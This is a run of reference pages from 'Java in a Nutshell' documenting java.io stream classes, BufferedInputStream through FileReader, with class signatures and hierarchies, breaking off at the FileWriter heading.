InputStream and OutputStream are abstract classes that define methods for reading and writing bytes. Their subclasses allow bytes to be read from and written to a variety of sources and sinks. FileInputStream and FileOutputStream read from and write to files. ByteArrayInputStream and ByteArrayOutputStream read from and write to an array of bytes in memory. PipedInputStream reads bytes from a PipedOutputStream, and PipedOutputStream writes bytes to a PipedInputStream. These classes work together to implement a "pipe" for communication between threads.

FilterInputStream and FilterOutputStream are special--they filter input and output bytes. When a FilterInputStream is created, an InputStream is specified for it to filter. When you call the read() method of a FilterInputStream, it calls the read() method of its specified stream, processes the bytes it reads somehow, and then returns the filtered bytes. Similarly, you specify an OutputStream to be filtered when you create a FilterOutputStream. Calling the write() method of a FilterOutputStream causes it to process your bytes in some way and then pass those filtered bytes to the write() method of its OutputStream.

Figure 24.1: The java.io package

[Graphic: Figure 24-1]

Figure 24.2: The exception classes of the java.io package

[Graphic: Figure 24-2]

FilterInputStream and FilterOutputStream do not perform any filtering themselves; this is done by their subclasses. BufferedInputStream and BufferedOutputStream provide input and output buffering and can increase I/O efficiency. DataInputStream reads raw bytes from a stream and interprets them in various binary formats. It has various methods to read primitive Java data types in their standard binary formats. DataOutputStream allows you to write Java primitive data types in binary format.

In Java 1.1, the byte streams just described are complemented by an analogous set of character input and output streams. Reader is the superclass of all character input streams, and Writer is the superclass of all character output streams. These character streams supersede the byte streams for all textual I/O. They are more efficient than the byte streams, and they correctly handle the conversion between local encodings and Unicode text, making them invaluable for internationalized programs. Most of the Reader and Writer streams have obvious byte stream analogs. BufferedReader is a commonly used stream. It provides buffering for efficiency, and also has a readLine() method to read one line of text at a time. PrintWriter is another very common stream--its methods allow output of a textual representation of any primitive Java type or of any object (via the object's toString() method). See Chapter 11, Internationalization for a discussion of the use of character streams in internationalized programs.

The ObjectInputStream and ObjectOutputStream classes are special. These byte stream classes are new in Java 1.1 and are part of the Object Serialization API. See Chapter 9, Object Serialization for further details.

24.1 java.io.BufferedInputStream (JDK 1.0)

This class is a FilterInputStream that provides input data buffering--efficiency is increased by reading in large amounts of data and storing them in an internal buffer. When data is requested, it is usually available from the buffer. Thus, most calls to read data do not have to make a call to actually read data from a disk, network, or other slow source. Create a BufferedInputStream by specifying the InputStream that is to have buffering applied in the call to the constructor. See also BufferedReader.

public class BufferedInputStream extends FilterInputStream {
    // Public Constructors
            public BufferedInputStream(InputStream in);
            public BufferedInputStream(InputStream in, int size);
    // Protected Instance Variables
            protected byte[] buf;
            protected int count;
            protected int marklimit;
            protected int markpos;
            protected int pos;
    // Public Instance Methods
            public synchronized int available() throws IOException;  // Overrides FilterInputStream
            public synchronized void mark(int readlimit);  // Overrides FilterInputStream
            public boolean markSupported();  // Overrides FilterInputStream
            public synchronized int read() throws IOException;  // Overrides FilterInputStream
            public synchronized int read(byte[] b, int off, int len) throws IOException;  // Overrides FilterInputStream
            public synchronized void reset() throws IOException;  // Overrides FilterInputStream
            public synchronized long skip(long n) throws IOException;  // Overrides FilterInputStream
}

Hierarchy:

Object->InputStream->FilterInputStream->BufferedInputStream

Previous | Home | Next
java.beans.Visibility (JDK 1.1) | Book Index | java.io.BufferedOutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.2 java.io.BufferedOutputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.2 java.io.BufferedOutputStream (JDK 1.0)

This class is a FilterOutputStream that provides output data buffering--output efficiency is increased by storing values to be written in a buffer and actually writing them out only when the buffer fills up or when the flush() method is called. Create a BufferedOutputStream by specifying the OutputStream that is to have buffering applied in the call to the constructor. See also BufferedWriter.

public class BufferedOutputStream extends FilterOutputStream {
    // Public Constructors
            public BufferedOutputStream(OutputStream out);
            public BufferedOutputStream(OutputStream out, int size);
    // Protected Instance Variables
            protected byte[] buf;
            protected int count;
    // Public Instance Methods
            public synchronized void flush() throws IOException;  // Overrides FilterOutputStream
            public synchronized void write(int b) throws IOException;  // Overrides FilterOutputStream
            public synchronized void write(byte[] b, int off, int len) throws IOException;  // Overrides FilterOutputStream
}

Hierarchy:

Object->OutputStream->FilterOutputStream->BufferedOutputStream

Previous | Home | Next
java.io.BufferedInputStream (JDK 1.0) | Book Index | java.io.BufferedReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.3 java.io.BufferedReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.3 java.io.BufferedReader (JDK 1.1)

This class applies buffering to a character input stream, thereby improving the efficiency of character input. You create a BufferedReader by specifying some other character input stream that it is to buffer input from. (You can also specify a buffer size at this time, although the default size is usually fine.) Typically you use this sort of buffering when you are using a FileReader or InputStreamReader.

BufferedReader defines the standard set of Reader methods, and also provides a readLine() method that reads a line of text (not including the line-terminators) and returns it as a String.

BufferedReader is the character-stream analog of BufferedInputStream. It also provides a replacement for the deprecated readLine() method of DataInputStream, which did not properly convert bytes into characters.

public class BufferedReader extends Reader {
    // Public Constructors
            public BufferedReader(Reader in, int sz);
            public BufferedReader(Reader in);
    // Public Instance Methods
            public void close() throws IOException;  // Defines Reader
            public void mark(int readAheadLimit) throws IOException;  // Overrides Reader
            public boolean markSupported();  // Overrides Reader
            public int read() throws IOException;  // Overrides Reader
            public int read(char[] cbuf, int off, int len) throws IOException;  // Defines Reader
            public String readLine() throws IOException;
            public boolean ready() throws IOException;  // Overrides Reader
            public void reset() throws IOException;  // Overrides Reader
            public long skip(long n) throws IOException;  // Overrides Reader
}

Hierarchy:

Object->Reader->BufferedReader

Extended By:

LineNumberReader

Previous | Home | Next
java.io.BufferedOutputStream (JDK 1.0) | Book Index | java.io.BufferedWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.4 java.io.BufferedWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.4 java.io.BufferedWriter (JDK 1.1)

This class applies buffering to a character output stream, improving output efficiency by coalescing many small write requests into a single larger request. You create a BufferedWriter by specifying some other character output stream to which it sends its buffered and coalesced output. (You can also specify a buffer size at this time, although the default size is usually satisfactory.) Typically you use this sort of buffering when you are using a FileWriter or OutputStreamWriter.

BufferedWriter defines the standard write(), flush(), and close() methods that all output streams define, but it also adds a newLine() method, which outputs the platform-dependent line separator (usually a newline character, a carriage return character, or both) to the stream.

BufferedWriter is the character-stream analog of BufferedOutputStream.

public class BufferedWriter extends Writer {
    // Public Constructors
            public BufferedWriter(Writer out);
            public BufferedWriter(Writer out, int sz);
    // Public Instance Methods
            public void close() throws IOException;  // Defines Writer
            public void flush() throws IOException;  // Defines Writer
            public void newLine() throws IOException;
            public void write(int c) throws IOException;  // Overrides Writer
            public void write(char[] cbuf, int off, int len) throws IOException;  // Defines Writer
            public void write(String s, int off, int len) throws IOException;  // Overrides Writer
}

Hierarchy:

Object->Writer->BufferedWriter

Previous | Home | Next
java.io.BufferedReader (JDK 1.1) | Book Index | java.io.ByteArrayInputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.5 java.io.ByteArrayInputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.5 java.io.ByteArrayInputStream (JDK 1.0)

This class is a subclass of InputStream in which input data come from a specified array of byte values. This is useful when you want to read data in memory as if it were coming from a file or pipe or socket. Note that the specified array of bytes is not copied when a ByteArrayInputStream is created. See also CharArrayReader.

public class ByteArrayInputStream extends InputStream {
    // Public Constructors
            public ByteArrayInputStream(byte[] buf);
            public ByteArrayInputStream(byte[] buf, int offset, int length);
    // Protected Instance Variables
            protected byte[] buf;
            protected int count;
        1.1  protected int mark;
            protected int pos;
    // Public Instance Methods
            public synchronized int available();  // Overrides InputStream
        1.1  public void mark(int markpos);  // Overrides InputStream
        1.1  public boolean markSupported();  // Overrides InputStream
            public synchronized int read();  // Defines InputStream
            public synchronized int read(byte[] b, int off, int len);  // Overrides InputStream
            public synchronized void reset();  // Overrides InputStream
            public synchronized long skip(long n);  // Overrides InputStream
}

Hierarchy:

Object->InputStream->ByteArrayInputStream

Previous | Home | Next
java.io.BufferedWriter (JDK 1.1) | Book Index | java.io.ByteArrayOutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.6 java.io.ByteArrayOutputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.6 java.io.ByteArrayOutputStream (JDK 1.0)

This class is a subclass of OutputStream in which data that are written are stored in an internal byte array. The internal array grows as necessary, and can be retrieved with toByteArray() or toString(). The reset() method discards any data currently stored in the internal array and begins storing data from the beginning again. See also CharArrayWriter.

public class ByteArrayOutputStream extends OutputStream {
    // Public Constructors
            public ByteArrayOutputStream();
            public ByteArrayOutputStream(int size);
    // Protected Instance Variables
            protected byte[] buf;
            protected int count;
    // Public Instance Methods
            public synchronized void reset();
            public int size();
            public synchronized byte[] toByteArray();
            public String toString();  // Overrides Object
        1.1  public String toString(String enc) throws UnsupportedEncodingException;
        #   public String toString(int hibyte);
            public synchronized void write(int b);  // Defines OutputStream
            public synchronized void write(byte[] b, int off, int len);  // Overrides OutputStream
            public synchronized void writeTo(OutputStream out) throws IOException;
}

Hierarchy:

Object->OutputStream->ByteArrayOutputStream

Previous | Home | Next
java.io.ByteArrayInputStream (JDK 1.0) | Book Index | java.io.CharArrayReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.7 java.io.CharArrayReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.7 java.io.CharArrayReader (JDK 1.1)

This class is a character input stream that uses a character array as the source of the characters it returns. You create a CharArrayReader by specifying the character array, or portion of an array, that it is to read from.

CharArrayReader defines the usual Reader methods, and supports the mark() and reset() methods.

Note that the character array you pass to the CharArrayReader is not copied by this class. This means that changes you make to the elements of the array after you create the input stream do affect the values read from the array.

CharArrayReader() is the character-array analog of ByteArrayInputStream, and is similar to StringReader.

public class CharArrayReader extends Reader {
    // Public Constructors
            public CharArrayReader(char[] buf);
            public CharArrayReader(char[] buf, int offset, int length);
    // Protected Instance Variables
            protected char[] buf;
            protected int count;
            protected int markedPos;
            protected int pos;
    // Public Instance Methods
            public void close();  // Defines Reader
            public void mark(int readAheadLimit) throws IOException;  // Overrides Reader
            public boolean markSupported();  // Overrides Reader
            public int read() throws IOException;  // Overrides Reader
            public int read(char[] b, int off, int len) throws IOException;  // Defines Reader
            public boolean ready() throws IOException;  // Overrides Reader
            public void reset() throws IOException;  // Overrides Reader
            public long skip(long n) throws IOException;  // Overrides Reader
}

Hierarchy:

Object->Reader->CharArrayReader

Previous | Home | Next
java.io.ByteArrayOutputStream (JDK 1.0) | Book Index | java.io.CharArrayWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.8 java.io.CharArrayWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.8 java.io.CharArrayWriter (JDK 1.1)

This class is a character output stream that uses an internal character array as the destination of characters written to it. When you create a CharArrayWriter, you may optionally specify an initial size for the character array, but you do not specify the character array itself--this array is managed internally by the CharArrayWriter, and grows as necessary to accommodate all the characters written to it. The toString() and toCharArray() methods return a copy of all characters written to the stream, either as a string or as an array of characters.

CharArrayWriter defines the standard write(), flush(), and close() methods that all Writer subclasses do. It also defines a few other useful methods. size() returns the number of characters that have been written to the stream. reset() resets the stream to its initial state, with an empty character array; this is more efficient than creating a new CharArrayWriter. Finally, writeTo() writes the contents of the internal character array to some other specified character stream.

CharArrayWriter is the character-stream analog of ByteArrayOutputStream, and is quite similar to StringWriter.

public class CharArrayWriter extends Writer {
    // Public Constructors
            public CharArrayWriter();
            public CharArrayWriter(int initialSize);
    // Protected Instance Variables
            protected char[] buf;
            protected int count;
    // Public Instance Methods
            public void close();  // Defines Writer
            public void flush();  // Defines Writer
            public void reset();
            public int size();
            public char[] toCharArray();
            public String toString();  // Overrides Object
            public void write(int c);  // Overrides Writer
            public void write(char[] c, int off, int len);  // Defines Writer
            public void write(String str, int off, int len);  // Overrides Writer
            public void writeTo(Writer out) throws IOException;
}

Hierarchy:

Object->Writer->CharArrayWriter

Previous | Home | Next
java.io.CharArrayReader (JDK 1.1) | Book Index | java.io.CharConversionException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.9 java.io.CharConversionException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.9 java.io.CharConversionException (JDK 1.1)

This exception signals an error when converting bytes to characters or vice versa.

public class CharConversionException extends IOException {
    // Public Constructors
            public CharConversionException();
            public CharConversionException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->CharConversionException

Previous | Home | Next
java.io.CharArrayWriter (JDK 1.1) | Book Index | java.io.DataInput (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.10 java.io.DataInput (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.10 java.io.DataInput (JDK 1.0)

This interface defines the methods required for streams that can read Java primitive data types in a machine-independent binary format. It is implemented by DataInputStream and RandomAccessFile. See DataInputStream for more information on the methods.

public abstract interface DataInput {
    // Public Instance Methods
            public abstract boolean readBoolean() throws IOException;
            public abstract byte readByte() throws IOException;
            public abstract char readChar() throws IOException;
            public abstract double readDouble() throws IOException;
            public abstract float readFloat() throws IOException;
            public abstract void readFully(byte[] b) throws IOException;
            public abstract void readFully(byte[] b, int off, int len) throws IOException;
            public abstract int readInt() throws IOException;
            public abstract String readLine() throws IOException;
            public abstract long readLong() throws IOException;
            public abstract short readShort() throws IOException;
            public abstract String readUTF() throws IOException;
            public abstract int readUnsignedByte() throws IOException;
            public abstract int readUnsignedShort() throws IOException;
            public abstract int skipBytes(int n) throws IOException;
}

Extended By:

ObjectInput

Implemented By:

DataInputStream, RandomAccessFile

Passed To:

DataInputStream.readUTF()

Previous | Home | Next
java.io.CharConversionException (JDK 1.1) | Book Index | java.io.DataInputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.11 java.io.DataInputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.11 java.io.DataInputStream (JDK 1.0)

This class is a type of FilterInputStream that allows you to read binary representations of Java primitive data types in a portable way. Create a DataInputStream by specifying the InputStream that is to be filtered in the call to the constructor.

Many of this class's methods read and return a single Java primitive type, in binary format, from the stream. readUnsignedByte() and readUnsignedShort() read unsigned values and return them as int values, since unsigned byte and short types are not supported in Java. read() reads data into an array of bytes, blocking until at least some data are available. By contrast, readFully() reads data into an array of bytes, but blocks until all of the requested data become available. skipBytes() blocks until the specified number of bytes have been read and discarded.

readLine() reads characters from the stream until it encounters a newline, a carriage return, or a newline carriage return pair. The returned string is not terminated with a newline or carriage return. This method is deprecated in Java 1.1; see BufferedReader for an alternative. readUTF() reads a string of Unicode text encoded in a slightly modified version of the UTF-8 "transformation format." UTF-8 is an ASCII-compatible encoding of Unicode characters that is often used for the transmission and storage of Unicode text. This class uses a modified UTF-8 encoding that never contains embedded null characters.

DataInputStream only reads primitive Java types. Use ObjectInputStream to read object values.

public class DataInputStream extends FilterInputStream implements DataInput {
    // Public Constructor
            public DataInputStream(InputStream in);
    // Class Methods
            public static final String readUTF(DataInput in) throws IOException;
    // Public Instance Methods
            public final int read(byte[] b) throws IOException;  // Overrides FilterInputStream
            public final int read(byte[] b, int off, int len) throws IOException;  // Overrides FilterInputStream
            public final boolean readBoolean() throws IOException;  // From DataInput
            public final byte readByte() throws IOException;  // From DataInput
            public final char readChar() throws IOException;  // From DataInput
            public final double readDouble() throws IOException;  // From DataInput
            public final float readFloat() throws IOException;  // From DataInput
            public final void readFully(byte[] b) throws IOException;  // From DataInput
            public final void readFully(byte[] b, int off, int len) throws IOException;  // From DataInput
            public final int readInt() throws IOException;  // From DataInput
        #   public final String readLine() throws IOException;  // From DataInput
            public final long readLong() throws IOException;  // From DataInput
            public final short readShort() throws IOException;  // From DataInput
            public final String readUTF() throws IOException;  // From DataInput
            public final int readUnsignedByte() throws IOException;  // From DataInput
            public final int readUnsignedShort() throws IOException;  // From DataInput
            public final int skipBytes(int n) throws IOException;  // From DataInput
}

Hierarchy:

Object->InputStream->FilterInputStream->DataInputStream(DataInput)

Previous | Home | Next
java.io.DataInput (JDK 1.0) | Book Index | java.io.DataOutput (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.12 java.io.DataOutput (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.12 java.io.DataOutput (JDK 1.0)

This interface defines the methods required for streams that can write character data or Java primitive data types in a machine-independent binary format. It is implemented by DataOutputStream and RandomAccessFile. See DataOutputStream for more information on the methods.

public abstract interface DataOutput {
    // Public Instance Methods
            public abstract void write(int b) throws IOException;
            public abstract void write(byte[] b) throws IOException;
            public abstract void write(byte[] b, int off, int len) throws IOException;
            public abstract void writeBoolean(boolean v) throws IOException;
            public abstract void writeByte(int v) throws IOException;
            public abstract void writeBytes(String s) throws IOException;
            public abstract void writeChar(int v) throws IOException;
            public abstract void writeChars(String s) throws IOException;
            public abstract void writeDouble(double v) throws IOException;
            public abstract void writeFloat(float v) throws IOException;
            public abstract void writeInt(int v) throws IOException;
            public abstract void writeLong(long v) throws IOException;
            public abstract void writeShort(int v) throws IOException;
            public abstract void writeUTF(String str) throws IOException;
}

Extended By:

ObjectOutput

Implemented By:

DataOutputStream, RandomAccessFile

Previous | Home | Next
java.io.DataInputStream (JDK 1.0) | Book Index | java.io.DataOutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.13 java.io.DataOutputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.13 java.io.DataOutputStream (JDK 1.0)

This class is a subclass of FilterOutputStream that allows you to write Java primitive data types in a portable binary format. Create a DataOutputStream by specifying the OutputStream that is to be filtered in the call to the constructor.

Many of this class's methods write a single Java primitive type, in binary format to the output stream. write() writes a single byte, an array, or a subarray of bytes. flush() forces any buffered data to be output. size() returns the number of bytes written so far.

writeUTF() outputs a Java string of Unicode characters using a slightly modified version of the UTF-8 "transformation format." UTF-8 is an ASCII-compatible encoding of Unicode characters that is often used for the transmission and storage of Unicode text. Except for the writeUTF() method, this class is used for binary output of data. Textual output should be done with PrintWriter, or PrintStream in Java 1.0.

DataOutputStream only has methods to output primitive types. Use ObjectOutputStream to output object values.

public class DataOutputStream extends FilterOutputStream implements DataOutput {
    // Public Constructor
            public DataOutputStream(OutputStream out);
    // Protected Instance Variables
            protected int written;
    // Public Instance Methods
            public void flush() throws IOException;  // Overrides FilterOutputStream
            public final int size();
            public synchronized void write(int b) throws IOException;  // Overrides FilterOutputStream
            public synchronized void write(byte[] b, int off, int len) throws IOException;  // Overrides FilterOutputStream
            public final void writeBoolean(boolean v) throws IOException;  // From DataOutput
            public final void writeByte(int v) throws IOException;  // From DataOutput
            public final void writeBytes(String s) throws IOException;  // From DataOutput
            public final void writeChar(int v) throws IOException;  // From DataOutput
            public final void writeChars(String s) throws IOException;  // From DataOutput
            public final void writeDouble(double v) throws IOException;  // From DataOutput
            public final void writeFloat(float v) throws IOException;  // From DataOutput
            public final void writeInt(int v) throws IOException;  // From DataOutput
            public final void writeLong(long v) throws IOException;  // From DataOutput
            public final void writeShort(int v) throws IOException;  // From DataOutput
            public final void writeUTF(String str) throws IOException;  // From DataOutput
}

Hierarchy:

Object->OutputStream->FilterOutputStream->DataOutputStream(DataOutput)

Previous | Home | Next
java.io.DataOutput (JDK 1.0) | Book Index | java.io.EOFException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.14 java.io.EOFException (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.14 java.io.EOFException (JDK 1.0)

An IOException that signals the end-of-file.

public class EOFException extends IOException {
    // Public Constructors
            public EOFException();
            public EOFException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->EOFException

Previous | Home | Next
java.io.DataOutputStream (JDK 1.0) | Book Index | java.io.Externalizable (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.15 java.io.Externalizable (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.15 java.io.Externalizable (JDK 1.1)

This interface defines the methods that must be implemented by an object that wants complete control over the way it is serialized. The writeExternal() and readExternal() methods should be implemented to write and read object data in some arbitrary format, using the methods of the DataOutput and DataInput objects. Externalizable objects must serialize their own fields, and are also responsible for serializing the fields of their superclasses.

Most objects do not need to define a custom output format and can use the Serializable interface instead of Externalizable for serialization.

public abstract interface Externalizable extends Serializable {
    // Public Instance Methods
            public abstract void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
            public abstract void writeExternal(ObjectOutput out) throws IOException;
}

Previous | Home | Next
java.io.EOFException (JDK 1.0) | Book Index | java.io.File (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.16 java.io.File (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.16 java.io.File (JDK 1.0)

This class supports a platform-independent definition of file and directory names. It also provides methods to list the files in a directory, to check the existence, readability, writeability, type, size, and modification time of files and directories, to make new directories, to rename files and directories, and to delete files and directories. The constants defined by this class are the platform-dependent directory and path separator characters, available as a String or char.

getName() returns the name of the File with any directory names omitted. getPath() returns the full name of the file, including the directory name. getParent() returns the directory of the File. If the File is an absolute specification, then getAbsolutePath() returns the complete filename. Otherwise, if the File is a relative file specification, it returns the relative filename appended to the current working directory.

isAbsolute() tests whether the File is an absolute specification. exists(), canWrite(), canRead(), isFile(), and isDirectory() perform the obvious tests on the specified File. length() returns the length of the file. lastModified() returns the modification time of the file (which should be used for comparison with other file times only, and not interpreted as any particular time format).

list() returns the name of all entries in a directory that are not rejected by an optional FilenameFilter. mkdir() creates a directory. mkdirs() creates all the directories in a File specification. renameTo() renames a file or directory. delete() deletes a file or directory. Note that there is no method to create a file; that is done with a FileOutputStream.

public class File extends Object implements Serializable {
    // Public Constructors
            public File(String path);
            public File(String path, String name);
            public File(File dir, String name);
    // Constants
            public static final String pathSeparator;
            public static final char pathSeparatorChar;
            public static final String separator;
            public static final char separatorChar;
    // Public Instance Methods
            public boolean canRead();
            public boolean canWrite();
            public boolean delete();
            public boolean equals(Object obj);  // Overrides Object
            public boolean exists();
            public String getAbsolutePath();
        1.1  public String getCanonicalPath() throws IOException;
            public String getName();
            public String getParent();
            public String getPath();
            public int hashCode();  // Overrides Object
            public native boolean isAbsolute();
            public boolean isDirectory();
            public boolean isFile();
            public long lastModified();
            public long length();
            public String[] list();
            public String[] list(FilenameFilter filter);
            public boolean mkdir();
            public boolean mkdirs();
            public boolean renameTo(File dest);
            public String toString();  // Overrides Object
}

Passed To:

File(),
File.renameTo(),
FileInputStream(),
FilenameFilter.accept(),
FileOutputStream(),
FileReader(),
FileWriter(),
RandomAccessFile(),
ZipFile()

Previous | Home | Next
java.io.Externalizable (JDK 1.1) | Book Index | java.io.FileDescriptor (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.17 java.io.FileDescriptor (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.17 java.io.FileDescriptor (JDK 1.0)

This class is a platform-independent representation of a low-level handle to an open file or an open socket. The static in, out, and err variables are FileDescriptor objects that represent the system standard input, output, and error streams, respectively. There is no public constructor method to create a FileDescriptor object. You can obtain one with the getFD() method of FileInputStream, FileOutputStream, and RandomAccessFile.

public final class FileDescriptor extends Object {
    // Default Constructor: public FileDescriptor()
    // Constants
            public static final FileDescriptor err;
            public static final FileDescriptor in;
            public static final FileDescriptor out;
    // Public Instance Methods
        1.1  public native void sync() throws SyncFailedException;
            public native boolean valid();
}

Passed To:

FileInputStream(),
FileOutputStream(),
FileReader(),
FileWriter(),
SecurityManager.checkRead(),
SecurityManager.checkWrite()

Returned By:

DatagramSocketImpl.getFileDescriptor(),
FileInputStream.getFD(),
FileOutputStream.getFD(),
RandomAccessFile.getFD(),
SocketImpl.getFileDescriptor()

Type Of:

DatagramSocketImpl.fd, FileDescriptor.err, FileDescriptor.in, FileDescriptor.out, SocketImpl.fd

Previous | Home | Next
java.io.File (JDK 1.0) | Book Index | java.io.FileInputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.18 java.io.FileInputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.18 java.io.FileInputStream (JDK 1.0)

This class is a subclass of InputStream that reads bytes from a file specified by name or by a File or FileDescriptor object. read() reads a byte or array of bytes from the file. It returns -1 when the end of file has been reached. To read binary data, you typically use this class in conjunction with a BufferedInputStream and DataInputStream. To read text, you typically use it with an InputStreamReader and BufferedReader. Call close() to close the file when input is no longer needed.

public class FileInputStream extends InputStream {
    // Public Constructors
            public FileInputStream(String name) throws FileNotFoundException;
            public FileInputStream(File file) throws FileNotFoundException;
            public FileInputStream(FileDescriptor fdObj);
    // Public Instance Methods
            public native int available() throws IOException;  // Overrides InputStream
            public native void close() throws IOException;  // Overrides InputStream
            public final FileDescriptor getFD() throws IOException;
            public native int read() throws IOException;  // Defines InputStream
            public int read(byte[] b) throws IOException;  // Overrides InputStream
            public int read(byte[] b, int off, int len) throws IOException;  // Overrides InputStream
            public native long skip(long n) throws IOException;  // Overrides InputStream
    // Protected Instance Methods
            protected void finalize() throws IOException;  // Overrides Object
}

Hierarchy:

Object->InputStream->FileInputStream

Previous | Home | Next
java.io.FileDescriptor (JDK 1.0) | Book Index | java.io.FileNotFoundException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.19 java.io.FileNotFoundException (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.19 java.io.FileNotFoundException (JDK 1.0)

An IOException that signals that a specified file cannot be found.

public class FileNotFoundException extends IOException {
    // Public Constructors
            public FileNotFoundException();
            public FileNotFoundException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->FileNotFoundException

Thrown By:

FileInputStream(), FileReader()

Previous | Home | Next
java.io.FileInputStream (JDK 1.0) | Book Index | java.io.FileOutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.20 java.io.FileOutputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.20 java.io.FileOutputStream (JDK 1.0)

This class is a subclass of OutputStream that writes data to a file specified by name, or by a File or FileDescriptor object. write() writes a byte or array of bytes to the file. To write binary data, you typically use this class in conjunction with a BufferedOutputStream and a DataOutputStream. To write text, you typically use it with a PrintWriter, BufferedWriter, and an OutputStreamWriter. Use close() to close a FileOutputStream when no further output will be written to it.

public class FileOutputStream extends OutputStream {
    // Public Constructors
            public FileOutputStream(String name) throws IOException;
        1.1  public FileOutputStream(String name, boolean append) throws IOException;
            public FileOutputStream(File file) throws IOException;
            public FileOutputStream(FileDescriptor fdObj);
    // Public Instance Methods
            public native void close() throws IOException;  // Overrides OutputStream
            public final FileDescriptor getFD() throws IOException;
            public native void write(int b) throws IOException;  // Defines OutputStream
            public void write(byte[] b) throws IOException;  // Overrides OutputStream
            public void write(byte[] b, int off, int len) throws IOException;  // Overrides OutputStream
    // Protected Instance Methods
            protected void finalize() throws IOException;  // Overrides Object
}

Hierarchy:

Object->OutputStream->FileOutputStream

Previous | Home | Next
java.io.FileNotFoundException (JDK 1.0) | Book Index | java.io.FileReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.21 java.io.FileReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.21 java.io.FileReader (JDK 1.1)

FileReader is a convenience subclass of InputStreamReader that is useful when you want to read text (as opposed to binary data) from a file. You create a FileReader by specifying the file to be read, in any of three possible forms. The FileReader constructor internally creates a FileInputStream to read bytes from the specified file, and uses the functionality of its superclass, InputStreamReader, to convert those bytes from characters in the local encoding to the Unicode characters used by Java.

Because FileReader is a trivial subclass of InputStreamReader, it does not define any read() methods or other methods of its own. Instead, it inherits all its methods from its superclass.

If you want to read Unicode characters from a file that uses some encoding other than the default encoding for the locale, you must explicitly create your own InputStreamReader to perform the byte-to-character conversion.

public class FileReader extends InputStreamReader {
    // Public Constructors
            public FileReader(String fileName) throws FileNotFoundException;
            public FileReader(File file) throws FileNotFoundException;
            public FileReader(FileDescriptor fd);
}

Hierarchy:

Object->Reader->InputStreamReader->FileReader

Previous | Home | Next
java.io.FileOutputStream (JDK 1.0) | Book Index | java.io.FileWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.22 java.io.FileWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.22 java.io.FileWriter (JDK 1.1)

